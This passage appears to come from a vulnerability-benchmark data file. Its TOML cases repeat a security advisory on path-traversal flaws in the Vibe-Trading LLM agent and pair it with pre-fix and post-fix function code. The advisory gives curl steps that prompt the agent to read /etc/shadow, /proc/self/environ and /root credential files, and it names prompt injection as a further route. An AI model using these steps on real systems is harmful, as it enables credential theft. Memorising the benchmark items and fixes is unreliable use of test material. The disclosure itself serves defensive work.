structure does not match the expected journal schema, the parse error often includes the first line (column names) verbatim, leaking the file's first line.\n6. Repeat with `journal_path=\"/app/agent/.env\"` to confirm the `.env` file is within the accepted envelope.\n\n**Impact**: \nAny unauthenticated caller can instruct the LLM to attempt to parse any file under `/root` or `/app` as a trade journal, extracting the file's first line via the parse-error message channel. Files with valid CSV-like first lines may leak multiple bytes. In the shipped root container, `/root` encompasses all credentials a careless operator may have mounted into the home directory; `/app` includes the agent's own secrets and any operator-staged data files.\n\n---\n\n### Finding 10 — High: read_document() opens any server-readable file with no sandbox enforcement, returning full content of /etc/shadow and /proc/self/environ\n\n- **Severity**: High\n- **CVSS v3.1**: 7.5 — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`\n- **CVSS v4.0**: 8.7 — `AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`\n- **CWE**: CWE-22 (Path Traversal); CWE-552 (Files Accessible to External Parties); CWE-200 (Information Exposure)\n\n**Affected file**: `agent/src/tools/doc_reader_tool.py`\n- line 259 — `def read_document(file_path: str, pages: str = \"\") -> str:`\n- line 270 — `path = Path(file_path)` — followed only by `path.exists()` and `path.is_file()` checks before dispatching to format-specific readers\n- No call to `safe_path`, `safe_user_path`, or any other sandbox enforcement appears anywhere in the function\n\n**Intent vs actual**: `DocReaderTool` is intended to allow the LLM agent to read documents and data files provided for analysis. Like other file-reading tools in the project, it should apply a sandbox check before opening the file. The actual implementation takes the LLM-emitted `file_path` string, runs only `path.exists()` and `path.is_file()`, and dispatches to the appropriate reader. No call to `safe_path` or `safe_user_path` exists in the function. A runtime probe confirmed:\n\n- `read_document('/etc/passwd')` returned HTTP 200 with 839 characters of content\n- `read_document('/etc/shadow')` returned the full shadow password file\n- `read_document('/proc/self/environ')` returned the full process environment, including `OPENROUTER_API_KEY` and `TUSHARE_TOKEN` in plaintext\n\nThis is strictly **wider** than F9: F9 is bounded to `/root` + `/app` via the (overly-broad) envelope; F10 has no envelope at all and reaches `/etc`, `/proc`, `/var`, and any other path the FastAPI process can read.\n\n**Steps to observe**:\n\n1. Per GHSA-1 shared reproducer, start the server with a working LLM API key and create an unauthenticated session.\n2. `curl -s -X POST \"http://HOST:8899/sessions/$SID/messages\" -H 'Content-Type: application/json' -d '{\"content\":\"Please read and summarize the document at /proc/self/environ\"}'`\n3. Poll `curl -s \"http://HOST:8899/sessions/$SID/messages\"`. Observe the agent invoke `read_document` with `file_path=\"/proc/self/environ\"` and return the full process environment in the message stream.\n4. Observe `OPENROUTER_API_KEY`, `TUSHARE_TOKEN`, and any other variables in `agent/.env` appearing in plaintext.\n5. Repeat with `file_path=\"/etc/shadow\"` to confirm shadow password file access.\n\n**Impact**: \nAn unauthenticated caller can retrieve any file the server process can read. Running as root, that includes `/etc/shadow`, `/etc/passwd`, `/proc/self/environ` (full plaintext API keys), `/root/.ssh/id_rsa`, and any secret files mounted into the container. This is the broadest file-read primitive in the codebase and provides a credential-extraction path that does **not** require shell execution — endpoint monitoring tuned to BashTool / shell signatures will miss it entirely.\n\n---\n\n### Why F9 and F10 are listed separately\n\nA maintainer might be tempted to fix only one, on the theory that F10 dominates F9. Two reasons to fix both:\n\n1. **Different fix scope** — F10's fix is a single missing call (`safe_path(file_path)` in `read_document` before line 270). F9's fix is in `safe_user_path()` itself: the envelope must be replaced with a strict allowlist of operator-configured directories, *not* `Path.home() ∪ Path.cwd()`. A fix that adds the missing `safe_user_path` call to `read_document` is **insufficient** because `safe_user_path` itself accepts `/root` and `/app/agent/.env`. Both surfaces need work.\n\n2. **Different reachability classes** — F9 is reachable through tools that already gate on `safe_user_path` (`ExtractShadowStrategyTool` and several journal tools), so even a hypothetical F10 fix that switched `read_document` to use `safe_user_path` would still leak `/root/*` because the envelope is broken. F9 is the structural defect; F10 is the missed call.\n\n---\n\n### Suggested remediation\n\n11. **F9** — In `safe_user_path()` at `path_utils.py:52-77`, replace the `Path.home() ∪ Path.cwd()` envelope with a strict allowlist of operator-configured directories (e.g. an explicit `BROKER_EXPORTS_DIR` env var defaulting to `/app/data/broker_exports/`). Reject `/root`, `/app/agent/.env`, and `/app/agent/uploads/` (the latter to prevent F3-uploaded files from being subsequently parsed as a credential-leak vector via the parse-error channel).'\n\n12. **F10** — Add a `safe_path()` (or `safe_user_path()`) call at `doc_reader_tool.py:270` before the existing `path.exists()` / `path.is_file()` checks. Once F9 is patched, the same allowlist will apply uniformly to both `read_document` and the `safe_user_path`-gated tools.\n\n13. **Defense-in-depth** — Drop the FastAPI process to a non-root user. Add a `RUN useradd -m vibe && chown -R vibe /app` step to the Dockerfile and `USER vibe` before `CMD`. This does not fix the Path Traversal but materially reduces the credential-extraction blast radius of any successful exploit (and benefits every other finding in GHSA-1 and GHSA-2). See GHSA-1 / shared baseline for the matching `USER` recommendation.\n\n---"
+commit = "9454d4a27a763b80e1d6eb5763b86c88e9e4e714"
+cwe = "CWE-22"
+family = "path"
+function = "resume_attempt"
+function_lines = [[118, 149]]
+id = "hkuds-vibe-trading-1b7a462b5edd6f25"
+language = "python"
+method = "fix_site"
+parent = "fd767f5c29c72cffe8e3f89c7ff006cb3041397f"
+path = "agent/src/session/service.py"
+post_fix = " async def resume_attempt(self, session_id: str, attempt_id: str, user_input: str) -> Dict[str, Any]:\n \"\"\"Resume an attempt that is waiting for user input.\n\n Args:\n session_id: Session ID.\n attempt_id: Attempt ID.\n user_input: User reply content.\n\n Returns:\n Dictionary containing status and attempt_id.\n \"\"\"\n session = self.store.get_session(session_id)\n if not session:\n raise ValueError(f\"Session {session_id} not found\")\n attempt = self.store.get_attempt(session_id, attempt_id)\n if not attempt:\n raise ValueError(f\"Attempt {attempt_id} not found\")\n if attempt.status != AttemptStatus.WAITING_USER:\n raise ValueError(f\"Attempt {attempt_id} is not waiting for user input\")\n\n message = Message(session_id=session_id, role=\"user\", content=user_input, linked_attempt_id=attempt_id)\n self.store.append_message(message)\n\n # Append the user's reply to the prompt and rerun the attempt.\n attempt.prompt = f\"{attempt.prompt}\\n\\nUser reply: {user_input}\"\n attempt.status = AttemptStatus.RUNNING\n self.store.update_attempt(attempt)\n self.event_bus.emit(session_id, \"attempt.resumed\", {\"attempt_id\": attempt_id, \"user_input\": user_input})\n\n include_shell_tools = bool(session.config.get(\"include_shell_tools\", False))\n asyncio.create_task(self._run_attempt(session, attempt, include_shell_tools=include_shell_tools))\n return {\"status\": \"resumed\", \"attempt_id\": attempt_id}\n"
+pre_fix = " async def resume_attempt(self, session_id: str, attempt_id: str, user_input: str) -> Dict[str, Any]:\n \"\"\"Resume an attempt that is waiting for user input.\n\n Args:\n session_id: Session ID.\n attempt_id: Attempt ID.\n user_input: User reply content.\n\n Returns:\n Dictionary containing status and attempt_id.\n \"\"\"\n session = self.store.get_session(session_id)\n if not session:\n raise ValueError(f\"Session {session_id} not found\")\n attempt = self.store.get_attempt(session_id, attempt_id)\n if not attempt:\n raise ValueError(f\"Attempt {attempt_id} not found\")\n if attempt.status != AttemptStatus.WAITING_USER:\n raise ValueError(f\"Attempt {attempt_id} is not waiting for user input\")\n\n message = Message(session_id=session_id, role=\"user\", content=user_input, linked_attempt_id=attempt_id)\n self.store.append_message(message)\n\n # Append the user's reply to the prompt and rerun the attempt.\n attempt.prompt = f\"{attempt.prompt}\\n\\nUser reply: {user_input}\"\n attempt.status = AttemptStatus.RUNNING\n self.store.update_attempt(attempt)\n self.event_bus.emit(session_id, \"attempt.resumed\", {\"attempt_id\": attempt_id, \"user_input\": user_input})\n\n asyncio.create_task(self._run_attempt(session, attempt))\n return {\"status\": \"resumed\", \"attempt_id\": attempt_id}\n"
+repo = "hkuds/vibe-trading"
+url = "https://github.com/HKUDS/Vibe-Trading.git"
+
+[[case]]
+advisory = "GHSA-5rmq-chc7-m22f"
+advisory_text = "Vibe-Trading file-read tools expose arbitrary server-readable files\n\n### Summary: \n2 findings — `safe_user_path()` accepts any path under `Path.home()` or `Path.cwd()`, which inside the shipped root container resolves to `/root` and `/app` (so all of root's home, including `/root/.ssh/id_rsa`, `/root/.aws/credentials`, `/root/.kube/config`, and `/app/agent/.env`, passes the check) (F9). `read_document()` has no sandbox call at all and returns the full content of any path the FastAPI process can read, including `/etc/shadow`, `/etc/passwd`, `/proc/self/environ`, and any secret file mounted into the container (F10). F10 is strictly broader than F9 but they have different fix scopes (F10 = a missing `safe_path()` call in one function; F9 = the envelope definition in `path_utils.py`), so both must be patched.\n\n---\n\n### Shared baseline (applies to both findings)\n\nThe container has no `USER` directive (Dockerfile:15 — `FROM python:3.11-slim AS runtime`, no subsequent `USER`), so the FastAPI process runs as `uid=0(root)`. \n\nThe two file-read tools described here are members of the auto-discovered LLM tool registry. \nCombined with GHSA-1 / F1, they are reachable from any anonymous TCP client to port 8899, but the same defects also apply to authenticated sessions and to prompt-injection in any document the agent processes. \nSee GHSA-1's shared reproducer block for the install steps; the same `docker compose up -d` setup applies here.\n\n> **Note on the `HOST` placeholder used throughout the per-finding \"Steps to observe\" blocks below**: replace `HOST` with the address you reach the docker host on — typically `localhost` (or `127.0.0.1`) if you are running the reproducer on the same machine as the container. All `curl` commands below assume this substitution.\n\n---\n\n### Finding 9 — High: safe_user_path() accepts the entire user home directory and process CWD, allowing LLM tool calls to read /root credentials\n\n- **Severity**: High\n- **CVSS v3.1**: 7.5 — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`\n- **CVSS v4.0**: 8.7 — `AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`\n- **CWE**: CWE-22 (Path Traversal); CWE-552 (Files Accessible to External Parties)\n\n**Affected file**: `agent/src/tools/path_utils.py`\n- line 52 — `def safe_user_path(p: str) -> Path:`\n- line 73-77 — `if resolved.is_relative_to(home) or resolved.is_relative_to(cwd): return resolved` — `home = Path.home()`, `cwd = Path.cwd()`\n\n**Intent vs actual**: \n`safe_user_path()` is intended to permit journal and shadow-account tools to open broker export files the operator may have placed anywhere under their home directory or the project folder. The intended invariant is that only user-owned broker data files are accessible — not system credential files or SSH keys. The actual envelope check accepts any path whose resolved form is inside `Path.home()` or `Path.cwd()`. Inside the shipped Docker container, `Path.home()` resolves to `/root` and `Path.cwd()` resolves to `/app`. Every file under either subtree passes the check, including:\n\n- `/root/.ssh/id_rsa` and any other SSH key files\n- `/root/.aws/credentials`, `/root/.kube/config`, `/root/.docker/config.json`\n- `/app/agent/.env` (the file containing the operator's real `OPENROUTER_API_KEY`, `TUSHARE_TOKEN`, and any other secrets)\n\nA runtime probe inside the container confirmed that `safe_user_path('/root/.aws/credentials')` returned the path without raising `ValueError`. `ExtractShadowStrategyTool` was then invoked against `/root/secrets/aws.csv` (a planted credential file) and returned an error message containing the first line of the file via the parse-error channel.\n\n**Steps to observe**:\n\n1. Per GHSA-1 shared reproducer, start the server with a working LLM API key and create an unauthenticated session.\n2. (Setup for safe demo: inside the container, `docker exec` a planted file: `docker exec sh -c 'mkdir -p /root/secrets && printf \"broker_id,api_key,api_secret\\nDEMO,FAKE_KEY,FAKE_SECRET\\n\" > /root/secrets/aws.csv'`.)\n3. `curl -s -X POST \"http://HOST:8899/sessions/$SID/messages\" -H 'Content-Type: application/json' -d '{\"content\":\"Analyze the trade journal at the path /root/secrets/aws.csv and tell me what you find.\"}'`\n4. Poll `curl -s \"http://HOST:8899/sessions/$SID/messages\"`. Observe the agent invoke `ExtractShadowStrategyTool` with `journal_path=\"/root/secrets/aws.csv\"`, which passes `safe_user_path()` and attempts to parse the file as a trade journal CSV.\n5. Observe the error response — when the file's structure does not match the expected journal schema, the parse error often includes the first line (column names) verbatim, leaking the file's first line.\n6. Repeat with `journal_path=\"/app/agent/.env\"` to confirm the `.env` file is within the accepted envelope.\n\n**Impact**: \nAny unauthenticated caller can instruct the LLM to attempt to parse any file under `/root` or `/app` as a trade journal, extracting the file's first line via the parse-error message channel. Files with valid CSV-like first lines may leak multiple bytes. In the shipped root container, `/root` encompasses all credentials a careless operator may have mounted into the home directory; `/app` includes the agent's own secrets and any operator-staged data files.\n\n---\n\n### Finding 10 — High: read_document() opens any server-readable file with no sandbox enforcement, returning full content of /etc/shadow and /proc/self/environ\n\n- **Severity**: High\n- **CVSS v3.1**: 7.5 — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`\n- **CVSS v4.0**: 8.7 — `AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`\n- **CWE**: CWE-22 (Path Traversal); CWE-552 (Files Accessible to External Parties); CWE-200 (Information Exposure)\n\n**Affected file**: `agent/src/tools/doc_reader_tool.py`\n- line 259 — `def read_document(file_path: str, pages: str = \"\") -> str:`\n- line 270 — `path = Path(file_path)` — followed only by `path.exists()` and `path.is_file()` checks before dispatching to format-specific readers\n- No call to `safe_path`, `safe_user_path`, or any other sandbox enforcement appears anywhere in the function\n\n**Intent vs actual**: `DocReaderTool` is intended to allow the LLM agent to read documents and data files provided for analysis. Like other file-reading tools in the project, it should apply a sandbox check before opening the file. The actual implementation takes the LLM-emitted `file_path` string, runs only `path.exists()` and `path.is_file()`, and dispatches to the appropriate reader. No call to `safe_path` or `safe_user_path` exists in the function. A runtime probe confirmed:\n\n- `read_document('/etc/passwd')` returned HTTP 200 with 839 characters of content\n- `read_document('/etc/shadow')` returned the full shadow password file\n- `read_document('/proc/self/environ')` returned the full process environment, including `OPENROUTER_API_KEY` and `TUSHARE_TOKEN` in plaintext\n\nThis is strictly **wider** than F9: F9 is bounded to `/root` + `/app` via the (overly-broad) envelope; F10 has no envelope at all and reaches `/etc`, `/proc`, `/var`, and any other path the FastAPI process can read.\n\n**Steps to observe**:\n\n1. Per GHSA-1 shared reproducer, start the server with a working LLM API key and create an unauthenticated session.\n2. `curl -s -X POST \"http://HOST:8899/sessions/$SID/messages\" -H 'Content-Type: application/json' -d '{\"content\":\"Please read and summarize the document at /proc/self/environ\"}'`\n3. Poll `curl -s \"http://HOST:8899/sessions/$SID/messages\"`. Observe the agent invoke `read_document` with `file_path=\"/proc/self/environ\"` and return the full process environment in the message stream.\n4. Observe `OPENROUTER_API_KEY`, `TUSHARE_TOKEN`, and any other variables in `agent/.env` appearing in plaintext.\n5. Repeat with `file_path=\"/etc/shadow\"` to confirm shadow password file access.\n\n**Impact**: \nAn unauthenticated caller can retrieve any file the server process can read. Running as root, that includes `/etc/shadow`, `/etc/passwd`, `/proc/self/environ` (full plaintext API keys), `/root/.ssh/id_rsa`, and any secret files mounted into the container. This is the broadest file-read primitive in the codebase and provides a credential-extraction path that does **not** require shell execution — endpoint monitoring tuned to BashTool / shell signatures will miss it entirely.\n\n---\n\n### Why F9 and F10 are listed separately\n\nA maintainer might be tempted to fix only one, on the theory that F10 dominates F9. Two reasons to fix both:\n\n1. **Different fix scope** — F10's fix is a single missing call (`safe_path(file_path)` in `read_document` before line 270). F9's fix is in `safe_user_path()` itself: the envelope must be replaced with a strict allowlist of operator-configured directories, *not* `Path.home() ∪ Path.cwd()`. A fix that adds the missing `safe_user_path` call to `read_document` is **insufficient** because `safe_user_path` itself accepts `/root` and `/app/agent/.env`. Both surfaces need work.\n\n2. **Different reachability classes** — F9 is reachable through tools that already gate on `safe_user_path` (`ExtractShadowStrategyTool` and several journal tools), so even a hypothetical F10 fix that switched `read_document` to use `safe_user_path` would still leak `/root/*` because the envelope is broken. F9 is the structural defect; F10 is the missed call.\n\n---\n\n### Suggested remediation\n\n11. **F9** — In `safe_user_path()` at `path_utils.py:52-77`, replace the `Path.home() ∪ Path.cwd()` envelope with a strict allowlist of operator-configured directories (e.g. an explicit `BROKER_EXPORTS_DIR` env var defaulting to `/app/data/broker_exports/`). Reject `/root`, `/app/agent/.env`, and `/app/agent/uploads/` (the latter to prevent F3-uploaded files from being subsequently parsed as a credential-leak vector via the parse-error channel).'\n\n12. **F10** — Add a `safe_path()` (or `safe_user_path()`) call at `doc_reader_tool.py:270` before the existing `path.exists()` / `path.is_file()` checks. Once F9 is patched, the same allowlist will apply uniformly to both `read_document` and the `safe_user_path`-gated tools.\n\n13. **Defense-in-depth** — Drop the FastAPI process to a non-root user. Add a `RUN useradd -m vibe && chown -R vibe /app` step to the Dockerfile and `USER vibe` before `CMD`. This does not fix the Path Traversal but materially reduces the credential-extraction blast radius of any successful exploit (and benefits every other finding in GHSA-1 and GHSA-2). See GHSA-1 / shared baseline for the matching `USER` recommendation.\n\n---"
+commit = "9454d4a27a763b80e1d6eb5763b86c88e9e4e714"
+cwe = "CWE-22"
+family = "path"
+function = "upload_file"
+function_lines = [[1348, 1405]]
+id = "hkuds-vibe-trading-36bca05009805ae2"
+language = "python"
+method = "fix_site"
+parent = "fd767f5c29c72cffe8e3f89c7ff006cb3041397f"
+path = "agent/api_server.py"
+post_fix = "async def upload_file(file: UploadFile):\n \"\"\"Upload any document or data file (max 50MB).\n\n Accepts most common formats: PDF, Word, Excel, PowerPoint, images,\n CSV/TSV, plain text, JSON, and TOML. Executables, executable-adjacent\n source/config/template files, and archives are rejected.\n \"\"\"\n if not file.filename:\n raise HTTPException(status_code=400, detail=\"Missing filename\")\n filename = Path(file.filename).name\n ext = Path(file.filename).suffix.lower()\n if ext in _BLOCKED_UPLOAD_EXT or filename.lower() in _BLOCKED_UPLOAD_NAMES:\n raise HTTPException(\n status_code=400,\n detail=\"This file type is not allowed for upload.\",\n )\n\n UPLOADS_DIR.mkdir(parents=True, exist_ok=True)\n\n safe_name = f\"{uuid.uuid4().hex}{ext}\"\n dest = UPLOADS_DIR / safe_name\n total_size = 0\n\n try:\n with dest.open(\"wb\") as handle:\n while True:\n chunk = await file.read(_UPLOAD_CHUNK_SIZE)\n if not chunk:\n break\n total_size += len(chunk)\n if total_size > MAX_UPLOAD_SIZE:\n handle.close()\n if dest.exists():\n dest.unlink()\n raise HTTPException(\n status_code=413,\n detail=f\"File too large (limit {MAX_UPLOAD_SIZE // (1024 * 1024)} MB)\",\n )\n handle.write(chunk)\n except HTTPException:\n raise\n except OSError as exc:\n if dest.exists():\n dest.unlink()\n raise HTTPException(status_code=500, detail=f\"Failed to store upload: {exc}\") from exc\n finally:\n await file.close()\n\n return {\n \"status\": \"ok\",\n \"file_path\": str(dest.resolve()),\n \"filename\": file.filename,\n }\n\n\n# ============================================================================\n# Swarm API\n# ============================================================================\n"
+pre_fix = "async def upload_file(file: UploadFile):\n \"\"\"Upload any document or data file (max 50MB).\n\n Accepts most common formats: PDF, Word, Excel, PowerPoint, images,\n CSV/TSV, plain text, JSON/YAML/TOML, source code. Executables and\n archives are rejected — unpack locally before uploading.\n \"\"\"\n if not file.filename:\n raise HTTPException(status_code=400, detail=\"Missing filename\")\n ext = Path(file.filename).suffix.lower()\n if ext in _BLOCKED_UPLOAD_EXT:\n raise HTTPException(\n status_code=400,\n detail=f\"File type {ext} is not allowed (executables/archives blocked).\",\n )\n\n UPLOADS_DIR.mkdir(parents=True, exist_ok=True)\n\n safe_name = f\"{uuid.uuid4().hex}{ext}\"\n dest = UPLOADS_DIR / safe_name\n total_size = 0\n\n try:\n with dest.open(\"wb\") as handle:\n while True:\n chunk = await file.read(_UPLOAD_CHUNK_SIZE)\n if not chunk:\n break\n total_size += len(chunk)\n if total_size > MAX_UPLOAD_SIZE:\n handle.close()\n if dest.exists():\n dest.unlink()\n raise HTTPException(\n status_code=413,\n detail=f\"File too large (limit {MAX_UPLOAD_SIZE // (1024 * 1024)} MB)\",\n )\n handle.write(chunk)\n except HTTPException:\n raise\n except OSError as exc:\n if dest.exists():\n dest.unlink()\n raise HTTPException(status_code=500, detail=f\"Failed to store upload: {exc}\") from exc\n finally:\n await file.close()\n\n return {\n \"status\": \"ok\",\n \"file_path\": str(dest.resolve()),\n \"filename\": file.filename,\n }\n\n\n# ============================================================================\n# Swarm API\n# ============================================================================\n"
+repo = "hkuds/vibe-trading"
+url = "https://github.com/HKUDS/Vibe-Trading.git"
+
+[[case]]
+advisory = "GHSA-5rmq-chc7-m22f"
+advisory_text = "Vibe-Trading file-read tools expose arbitrary server-readable files\n\n### Summary: \n2 findings — `safe_user_path()` accepts any path under `Path.home()` or `Path.cwd()`, which inside the shipped root container resolves to `/root` and `/app` (so all of root's home, including `/root/.ssh/id_rsa`, `/root/.aws/credentials`, `/root/.kube/config`, and `/app/agent/.env`, passes the check) (F9). `read_document()` has no sandbox call at all and returns the full content of any path the FastAPI process can read, including `/etc/shadow`, `/etc/passwd`, `/proc/self/environ`, and any secret file mounted into the container (F10). F10 is strictly broader than F9 but they have different fix scopes (F10 = a missing `safe_path()` call in one function; F9 = the envelope definition in `path_utils.py`), so both must be patched.\n\n---\n\n### Shared baseline (applies to both findings)\n\nThe container has no `USER` directive (Dockerfile:15 — `FROM python:3.11-slim AS runtime`, no subsequent `USER`), so the FastAPI process runs as `uid=0(root)`. \n\nThe two file-read tools described here are members of the auto-discovered LLM tool registry. \nCombined with GHSA-1 / F1, they are reachable from any anonymous TCP client to port 8899, but the same defects also apply to authenticated sessions and to prompt-injection in any document the agent processes. \nSee GHSA-1's shared reproducer block for the install steps; the same `docker compose up -d` setup applies here.\n\n> **Note on the `HOST` placeholder used throughout the per-finding \"Steps to observe\" blocks below**: replace `HOST` with the address you reach the docker host on — typically `localhost` (or `127.0.0.1`) if you are running the reproducer on the same machine as the container. All `curl` commands below assume this substitution.\n\n---\n\n### Finding 9 — High: safe_user_path() accepts the entire user home directory and process CWD, allowing LLM tool calls to read /root credentials\n\n- **Severity**: High\n- **CVSS v3.1**: 7.5 — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`\n- **CVSS v4.0**: 8.7 — `AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`\n- **CWE**: CWE-22 (Path Traversal); CWE-552 (Files Accessible to External Parties)\n\n**Affected file**: `agent/src/tools/path_utils.py`\n- line 52 — `def safe_user_path(p: str) -> Path:`\n- line 73-77 — `if resolved.is_relative_to(home) or resolved.is_relative_to(cwd): return resolved` — `home = Path.home()`, `cwd = Path.cwd()`\n\n**Intent vs actual**: \n`safe_user_path()` is intended to permit journal and shadow-account tools to open broker export files the operator may have placed anywhere under their home directory or the project folder. The intended invariant is that only user-owned broker data files are accessible — not system credential files or SSH keys. The actual envelope check accepts any path whose resolved form is inside `Path.home()` or `Path.cwd()`. Inside the shipped Docker container, `Path.home()` resolves to `/root` and `Path.cwd()` resolves to `/app`. Every file under either subtree passes the check, including:\n\n- `/root/.ssh/id_rsa` and any other SSH key files\n- `/root/.aws/credentials`, `/root/.kube/config`, `/root/.docker/config.json`\n- `/app/agent/.env` (the file containing the operator's real `OPENROUTER_API_KEY`, `TUSHARE_TOKEN`, and any other secrets)\n\nA runtime probe inside the container confirmed that `safe_user_path('/root/.aws/credentials')` returned the path without raising `ValueError`. `ExtractShadowStrategyTool` was then invoked against `/root/secrets/aws.csv` (a planted credential file) and returned an error message containing the first line of the file via the parse-error channel.\n\n**Steps to observe**:\n\n1. Per GHSA-1 shared reproducer, start the server with a working LLM API key and create an unauthenticated session.\n2. (Setup for safe demo: inside the container, `docker exec` a planted file: `docker exec sh -c 'mkdir -p /root/secrets && printf \"broker_id,api_key,api_secret\\nDEMO,FAKE_KEY,FAKE_SECRET\\n\" > /root/secrets/aws.csv'`.)\n3. `curl -s -X POST \"http://HOST:8899/sessions/$SID/messages\" -H 'Content-Type: application/json' -d '{\"content\":\"Analyze the trade journal at the path /root/secrets/aws.csv and tell me what you find.\"}'`\n4. Poll `curl -s \"http://HOST:8899/sessions/$SID/messages\"`. Observe the agent invoke `ExtractShadowStrategyTool` with `journal_path=\"/root/secrets/aws.csv\"`, which passes `safe_user_path()` and attempts to parse the file as a trade journal CSV.\n5. Observe the error response — when the file's structure does not match the expected journal schema, the parse error often includes the first line (column names) verbatim, leaking the file's first line.\n6. Repeat with `journal_path=\"/app/agent/.env\"` to confirm the `.env` file is within the accepted envelope.\n\n**Impact**: \nAny unauthenticated caller can instruct the LLM to attempt to parse any file under `/root` or `/app` as a trade journal, extracting the file's first line via the parse-error message channel. Files with valid CSV-like first lines may leak multiple bytes. In the shipped root container, `/root` encompasses all credentials a careless operator may have mounted into the home directory; `/app` includes the agent's own secrets and any operator-staged data files.\n\n---\n\n### Finding 10 — High: read_document() opens any server-readable file with no sandbox enforcement, returning full content of /etc/shadow and /proc/self/environ\n\n- **Severity**: High\n- **CVSS v3.1**: 7.5 — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`\n- **CVSS v4.0**: 8.7 — `AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`\n- **CWE**: CWE-22 (Path Traversal); CWE-552 (Files Accessible to External Parties); CWE-200 (Information Exposure)\n\n**Affected file**: `agent/src/tools/doc_reader_tool.py`\n- line 259 — `def read_document(file_path: str, pages: str = \"\") -> str:`\n- line 270 — `path = Path(file_path)` — followed only by `path.exists()` and `path.is_file()` checks before dispatching to format-specific readers\n- No call to `safe_path`, `safe_user_path`, or any other sandbox enforcement appears anywhere in the function\n\n**Intent vs actual**: `DocReaderTool` is intended to allow the LLM agent to read documents and data files provided for analysis. Like other file-reading tools in the project, it should apply a sandbox check before opening the file. The actual implementation takes the LLM-emitted `file_path` string, runs only `path.exists()` and `path.is_file()`, and dispatches to the appropriate reader. No call to `safe_path` or `safe_user_path` exists in the function. A runtime probe confirmed:\n\n- `read_document('/etc/passwd')` returned HTTP 200 with 839 characters of content\n- `read_document('/etc/shadow')` returned the full shadow password file\n- `read_document('/proc/self/environ')` returned the full process environment, including `OPENROUTER_API_KEY` and `TUSHARE_TOKEN` in plaintext\n\nThis is strictly **wider** than F9: F9 is bounded to `/root` + `/app` via the (overly-broad) envelope; F10 has no envelope at all and reaches `/etc`, `/proc`, `/var`, and any other path the FastAPI process can read.\n\n**Steps to observe**:\n\n1. Per GHSA-1 shared reproducer, start the server with a working LLM API key and create an unauthenticated session.\n2. `curl -s -X POST \"http://HOST:8899/sessions/$SID/messages\" -H 'Content-Type: application/json' -d '{\"content\":\"Please read and summarize the document at /proc/self/environ\"}'`\n3. Poll `curl -s \"http://HOST:8899/sessions/$SID/messages\"`. Observe the agent invoke `read_document` with `file_path=\"/proc/self/environ\"` and return the full process environment in the message stream.\n4. Observe `OPENROUTER_API_KEY`, `TUSHARE_TOKEN`, and any other variables in `agent/.env` appearing in plaintext.\n5. Repeat with `file_path=\"/etc/shadow\"` to confirm shadow password file access.\n\n**Impact**: \nAn unauthenticated caller can retrieve any file the server process can read. Running as root, that includes `/etc/shadow`, `/etc/passwd`, `/proc/self/environ` (full plaintext API keys), `/root/.ssh/id_rsa`, and any secret files mounted into the container. This is the broadest file-read primitive in the codebase and provides a credential-extraction path that does **not** require shell execution — endpoint monitoring tuned to BashTool / shell signatures will miss it entirely.\n\n---\n\n### Why F9 and F10 are listed separately\n\nA maintainer might be tempted to fix only one, on the theory that F10 dominates F9. Two reasons to fix both:\n\n1. **Different fix scope** — F10's fix is a single missing call (`safe_path(file_path)` in `read_document` before line 270). F9's fix is in `safe_user_path()` itself: the envelope must be replaced with a strict allowlist of operator-configured directories, *not* `Path.home() ∪ Path.cwd()`. A fix that adds the missing `safe_user_path` call to `read_document` is **insufficient** because `safe_user_path` itself accepts `/root` and `/app/agent/.env`. Both surfaces need work.\n\n2. **Different reachability classes** — F9 is reachable through tools that already gate on `safe_user_path` (`ExtractShadowStrategyTool` and several journal tools), so even a hypothetical F10 fix that switched `read_document` to use `safe_user_path` would still leak `/root/*` because the envelope is broken. F9 is the structural defect; F10 is the missed call.\n\n---\n\n### Suggested remediation\n\n11. **F9** — In `safe_user_path()` at `path_utils.py:52-77`, replace the `Path.home() ∪ Path.cwd()` envelope with a strict allowlist of operator-configured directories (e.g. an explicit `BROKER_EXPORTS_DIR` env var defaulting to `/app/data/broker_exports/`). Reject `/root`, `/app/agent/.env`, and `/app/agent/uploads/` (the latter to prevent F3-uploaded files from being subsequently parsed as a credential-leak vector via the parse-error channel).'\n\n12. **F10** — Add a `safe_path()` (or `safe_user_path()`) call at `doc_reader_tool.py:270` before the existing `path.exists()` / `path.is_file()` checks. Once F9 is patched, the same allowlist will apply uniformly to both `read_document` and the `safe_user_path`-gated tools.\n\n13. **Defense-in-depth** — Drop the FastAPI process to a non-root user. Add a `RUN useradd -m vibe && chown -R vibe /app` step to the Dockerfile and `USER vibe` before `CMD`. This does not fix the Path Traversal but materially reduces the credential-extraction blast radius of any successful exploit (and benefits every other finding in GHSA-1 and GHSA-2). See GHSA-1 / shared baseline for the matching `USER` recommendation.\n\n---"
+commit = "9454d4a27a763b80e1d6eb5763b86c88e9e4e714"
+cwe = "CWE-22"
+family = "path"
+function = "run_worker"
+function_lines = [[182, 188]]
+id = "hkuds-vibe-trading-3eeced0e67bd3443"
+language = "python"
+method = "fix_site"
+parent = "fd767f5c29c72cffe8e3f89c7ff006cb3041397f"
+path = "agent/src/swarm/worker.py"
+post_fix = "def run_worker(\n agent_spec: SwarmAgentSpec,\n task: SwarmTask,\n upstream_summaries: dict[str, str],\n user_vars: dict[str, str],\n run_dir: Path,\n event_callback: Callable[[SwarmEvent], None] | None = None,\n include_shell_tools: bool = False,"
+pre_fix = "def run_worker(\n agent_spec: SwarmAgentSpec,\n task: SwarmTask,\n upstream_summaries: dict[str, str],\n user_vars: dict[str, str],\n run_dir: Path,\n event_callback: Callable[[SwarmEvent], None] | None = None,"
+repo = "hkuds/vibe-trading"
+url = "https://github.com/HKUDS/Vibe-Trading.git"
+
+[[case]]
+advisory = "GHSA-5rmq-chc7-m22f"
